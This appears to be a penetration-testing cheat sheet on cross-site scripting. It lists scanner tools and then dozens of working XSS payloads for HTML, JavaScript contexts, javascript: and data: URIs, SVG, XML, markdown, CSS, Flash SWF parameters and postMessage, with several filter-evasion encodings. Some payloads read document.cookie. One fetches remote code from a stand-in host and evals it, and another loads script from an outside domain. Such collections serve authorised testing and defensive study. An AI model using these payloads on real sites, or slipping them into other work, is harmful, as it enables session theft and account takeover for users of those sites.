Cross Site Scripting

Tools

Most tools are also suitable for blind XSS attacks:

XSSStrike: Very popular but unfortunately not very well maintained
xsser: Utilizes a headless browser to detect XSS vulnerabilities
Dalfox: Extensive functionality and extremely fast thanks to the implementation in Go
XSpear: Similar to Dalfox but based on Ruby
domdig: Headless Chrome XSS Tester

XSS in HTML/Applications

Common Payloads

// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
 
// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
 
// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
 
// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>

XSS using HTML5 tags

<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>
 
<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)>   // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)>  // When a finger is dragged across the screen.

XSS using a remote JS

<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
// you can also specify an arbitrary payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)

XSS in hidden input

<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event

DOM based XSS

Based on a DOM XSS sink.

#"><img src=/ onerror=alert(2)>

XSS in JS Context

-(confirm)(document.domain)//
; alert(1);//
// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)

XSS in wrappers javascript and data URI

XSS with javascript:

javascript:prompt(1)
 
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&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41
 
We can encode the "javascript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)
 
We can use a 'newline character'
java%0ascript:alert(1)   - LF (\n)
java%09script:alert(1)   - Horizontal tab (\t)
java%0dscript:alert(1)   - CR (\r)
 
Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
 
Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)

XSS with data:

data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

XSS with vbscript: only IE

vbscript:msgbox("XSS")

XSS in files

** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>

XSS in XML

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>

XSS in SVG

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

XSS in SVG (short)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
 
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>

XSS in Markdown

[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

XSS in SWF flash application

Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);

more payloads in ./files

XSS in SWF flash application

flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//

XSS in CSS

<!DOCTYPE html>
<html>
<head>
<style>
div  {
    background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
    background-color: #cccccc;
}
</style>
</head>
  <body>
    <div>lol</div>
  </body>
</html>

XSS in PostMessage

If the target origin is asterisk * the message can be sent to any domain has reference to the child page.

<html>
<body>
    <input type=button value="Click Me" id="btn">
</body>
 
<script>
document.getElementById('btn').onclick = function(e){
    window.poc = window.open('http://www.redacted.com/#login');
    setTimeout(function(){
        window.poc.postMessage(
            {
                "sender": "accounts",
                "url": "javascript:confirm('XSS')",
            },
            '*'
        );
    }, 2000);
}
</script>
</html>

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